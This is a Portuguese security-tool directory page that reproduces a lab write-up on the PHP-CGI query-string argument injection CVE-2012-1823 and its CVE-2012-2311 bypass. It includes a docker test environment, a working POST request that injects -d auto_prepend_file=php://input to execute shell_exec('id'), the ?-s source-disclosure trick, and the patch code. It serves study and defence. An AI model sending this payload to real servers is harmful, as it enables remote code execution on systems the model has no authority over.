Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PHP_CVE-2012-1823 | Kitploit
Ferramentas/GitHubGitHub/cyberharsh/php_cve-2012-1823
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubcyberharsh/php_cve-2012-1823

PHP_CVE-2012-1823

Ver Repositório
11há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade de execução remota de código no PHP-CGI (CVE-2012-1823)

Princípio

  • Artigo de referência http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
  • Versões afetadas: php < 5.3.12 ou php < 5.4.2

Ambiente de teste

Ambiente de compilação e execução:

root@kitploit:~
docker-compose build
docker-compose up -d

Após a inicialização do ambiente, acesse http://your-ip:8080/ e veja a palavra “Hello”.

Acesse http://your-ip:8080/index.php?-s para exibir o código-fonte, confirmando que a vulnerabilidade existe. Envie o seguinte pacote de dados e veja que o código no corpo da requisição foi executado:

root@kitploit:~
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

<?php echo shell_exec("id"); ?>

Interpretação da vulnerabilidade

PHP SAPI e modos de execução

Primeiramente, vamos apresentar os modos de execução do PHP.

Ao baixar o código-fonte do PHP, você pode ver que há um diretório chamado sapi. O papel do sapi no PHP é semelhante ao de um “mensageiro”. Por exemplo, o fpm que apresentei no artigo “Análise do protocolo Fastcgi && Vulnerabilidade de acesso não autorizado ao PHP-FPM && Escrita de Exp” recebe os dados encapsulados pelo contêiner web através do protocolo fastcgi e os entrega ao interpretador PHP para execução.

Além do fpm, o sapi mais comum deve ser o mod_php usado no Apache; esse sapi é usado para a troca de dados entre o PHP e o Apache.

O php-cgi também é um sapi. Nos tempos antigos, a forma de executar aplicações web era muito simples: o contêiner web recebia o pacote HTTP, obtinha o arquivo solicitado pelo usuário (script CGI) e criava um processo filho (interpretador) para executar esse arquivo; em seguida, pegava o resultado da execução e o retornava diretamente ao usuário, e o processo filho do interpretador terminava. A maioria das aplicações web baseadas em linguagens como bash e perl era executada dessa forma; esse modo de execução geralmente é chamado de CGI. Ao instalar o Apache, existe por padrão um diretório cgi-bin, que originalmente era usado para armazenar esses scripts CGI.

Mas o modo CGI tem uma desvantagem fatal: como todos sabem, a criação e o agendamento de processos têm um certo custo, e o número de processos não é ilimitado. Portanto, sites baseados no modo CGI geralmente não conseguem aceitar muitas requisições ao mesmo tempo; caso contrário, cada requisição geraria um processo filho, o que poderia sobrecarregar o servidor. Foi então que surgiu o fastcgi: o processo fastcgi pode permanecer em execução em segundo plano, receber pacotes de dados através do protocolo fastcgi, executar e retornar o resultado, mas sem encerrar a si mesmo.

O PHP tem um sapi chamado php-cgi, que possui duas funções: uma é fornecer interação no modo CGI e a outra é fornecer interação no modo fastcgi. Ou seja, podemos, como no perl, fazer o contêiner web criar diretamente um processo php-cgi para executar um script; também podemos executar em segundo plano php-cgi -b 127.0.0.1:9000 (php-cgi como gerenciador do fastcgi) e fazer o contêiner web interagir com a porta 9000 usando o protocolo fastcgi.

E o que é o fpm que mencionei antes? Por que o PHP tem dois gerenciadores fastcgi? O PHP realmente tem dois gerenciadores fastcgi: o php-cgi pode ser executado em modo fastcgi, e o fpm também é executado em modo fastcgi. Mas o fpm foi introduzido no PHP após a versão 5.3 e é um gerenciador fastcgi mais eficiente; não vou falar de suas muitas vantagens, você pode consultar o código-fonte. Como o fpm tem mais vantagens, cada vez mais aplicações web usam o php-fpm para executar o PHP atualmente.

Causa histórica

Voltando a esta vulnerabilidade. A CVE-2012-1823 é uma vulnerabilidade que apareceu no sapi php-cgi. Apresentei acima os dois modos de execução fornecidos pelo php-cgi: CGI e fastcgi; esta vulnerabilidade só ocorre no PHP executado em modo CGI.

Em termos simples, essa vulnerabilidade acontece porque a querystring da requisição do usuário é passada como parâmetro para o php-cgi, o que acaba gerando uma série de consequências.

Investigando o princípio, a RFC3875 estabelece que, quando a querystring não contém um sinal = não decodificado, ela deve ser passada como parâmetro CGI. Portanto, o servidor Apache implementou esse recurso conforme a exigência.

Mas o PHP não observou essa regra da RFC. Talvez tenha observado e tratado do seguinte modo: não permitir a passagem de parâmetros no contexto web. Porém, em 2004, um desenvolvedor fez a seguinte declaração:

root@kitploit:~
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
 
In our SAPI cgi we have a check along these lines:
 
    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
        cgi = 1;
    }
 
    if(!cgi) getopt(...)
 
As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.
 
The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:
 
  #!/usr/local/bin/php-cgi -d include_path=/path
  <?php
      ...
  ?>
 
and have it work both from the command line and from a web context.
 
As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.
 
-Rasmus

Obviamente, esse desenvolvedor queria facilitar os testes usando uma forma como #!/usr/local/bin/php-cgi -d include_path=/path, achando que não se deveria restringir o php-cgi de aceitar argumentos de linha de comando, e que esse recurso não entraria em conflito com nenhum outro código.

Assim, if(!cgi) getopt(...) foi removido.

Mas, obviamente, de acordo com a explicação da RFC sobre a linha de comando, os argumentos de linha de comando não só podem ser passados ao php-cgi através de #!/usr/local/bin/php-cgi -d include_path=/path, como também podem ser passados através da querystring.

Essa é a causa histórica desta vulnerabilidade.

Exploração da vulnerabilidade

Então, o que se pode fazer com argumentos de linha de comando controláveis?

Ao ler o código-fonte, descobri que no modo CGI estão disponíveis os seguintes parâmetros:

  • -c Especificar a localização do arquivo php.ini
  • -n Não carregar o arquivo php.ini
  • -d Especificar um item de configuração
  • -b Iniciar o processo fastcgi
  • -s Exibir o código-fonte do arquivo
  • -T Executar o arquivo o número de vezes especificado
  • -h e -? Exibir a ajuda

A forma de exploração mais simples é, obviamente, o -s, que pode exibir diretamente o código-fonte:

Mas os leitores que leram meu artigo sobre fastcgi provavelmente pensaram rapidamente em um método de exploração melhor: usar o -d para especificar auto_prepend_file e assim criar uma vulnerabilidade de inclusão arbitrária de arquivos, executando código arbitrário:

Observe que os espaços são substituídos por + ou %20, e o = é substituído pela sua codificação de URL.

CVE-2012-2311

Depois que essa vulnerabilidade foi divulgada, a equipe oficial do PHP a corrigiu, lançando as novas versões 5.4.2 e 5.3.12, mas a correção não era completa e podia ser contornada, dando origem à vulnerabilidade CVE-2012-2311.

O método de correção do PHP foi verificar o caractere -:

root@kitploit:~
if(query_string = getenv("QUERY_STRING")) {
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

Ou seja, após obter a querystring e decodificá-la, se o primeiro caractere for -, define-se skip_getopt, isto é, não se obtêm argumentos de linha de comando.

O problema de segurança nesse método de correção é que, se a equipe de operações fizer um encapsulamento do php-cgi:

root@kitploit:~
#!/bin/sh

exec /usr/local/bin/php-cgi $*

Também é possível passar parâmetros usando um caractere de espaço em branco seguido de -. Nesse caso, o primeiro caractere da querystring é um espaço em branco, e não -, contornando a verificação acima.

Então, no PHP 5.4.3 e PHP 5.3.13, a correção foi alterada novamente:

root@kitploit:~
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
	/* we've got query string that has no = - apache CGI will pass it to command line */
	unsigned char *p;
	decoded_query_string = strdup(query_string);
	php_url_decode(decoded_query_string, strlen(decoded_query_string));
	for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
		/* skip all leading spaces */
	}
	if(*p == '-') {
		skip_getopt = 1;
	}
	free(decoded_query_string);
}

Primeiro, todos os caracteres de espaço em branco (todos os caracteres menores ou iguais a espaço) são ignorados e, em seguida, verifica-se se o primeiro caractere é -.

Baixar ferramenta